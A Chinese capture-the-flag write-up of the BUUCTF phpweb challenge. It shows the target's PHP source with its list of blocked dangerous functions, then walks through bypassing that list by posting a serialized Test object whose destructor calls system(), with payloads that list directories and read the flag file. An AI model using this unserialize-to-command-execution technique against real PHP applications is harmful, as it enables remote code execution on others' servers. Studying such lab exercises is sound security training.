BUUCTF_Web——[网鼎杯 2020 朱雀组]phpweb

文章目录

解题思路

打开环境,等待一段时间报错

在这里插入图片描述
审查源码,发现POST请求,页面也会定时刷新,这里POST了一个函数和变量

在这里插入图片描述
在hackbar加载URL

在这里插入图片描述
此处将需要运行的函数赋值给func,参数赋值给p,然后POST在服务器执行

那么首先审查网页的php源码

highlight_file(index.php)

在这里插入图片描述
得到源码如下:

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
    
    
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
    
    
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
    
    
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
    
    
            return $result;
        } else {
    
    return "";}
    }
    class Test {
    
    
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
    
    
            if ($this->func != "") {
    
    
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
    
    
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
    
    
            echo gettime($func, $p);
        }else {
    
    
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

此处过滤了众多函数,无法直接查看目录,然而没有过滤unserialize(),
考虑将查看目录的代码包含在Test类里,然后在服务器端反序列化后运行,如同源码里的Test类一样,对其进行覆盖

序列化Test类

<?php
    class  Test{
    
    
        var $p = "ls /";
        var $func = "system";
    }
    $Test = new Test;
    echo serialize($Test);
?>
O:4:"Test":2:{
    
    s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

执行POST请求,方法可行

在这里插入图片描述
然而返回的结果会一闪而过,所以改用Burpsuite执行POST请求

在这里插入图片描述
找不到flag文件夹,接着执行linux的搜索指令,先序列化

find / -name flag*
#find path -option parameters

#星号代表之后的任意匹配,即搜索flag开头的文件夹
#-iname选项能忽略大小写匹配
<?php
    class  Test{
    
    
        var $p = "find / -name flag*";
        var $func = "system";
    }
    $Test = new Test;
    echo serialize($Test);
?>
O:4:"Test":2:{
    
    s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

在这里插入图片描述
找到tmp下的文件夹,访问即可

<?php
    class  Test{
    
    
        var $p = "cat /tmp/flagoefiu4r93";
        var $func = "system";
    }
    $Test = new Test;
    echo serialize($Test);
?>
O:4:"Test":2:{
    
    s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

在这里插入图片描述

欢迎在评论区留言
感谢浏览

猜你喜欢

转载自blog.csdn.net/Xxy605/article/details/109131554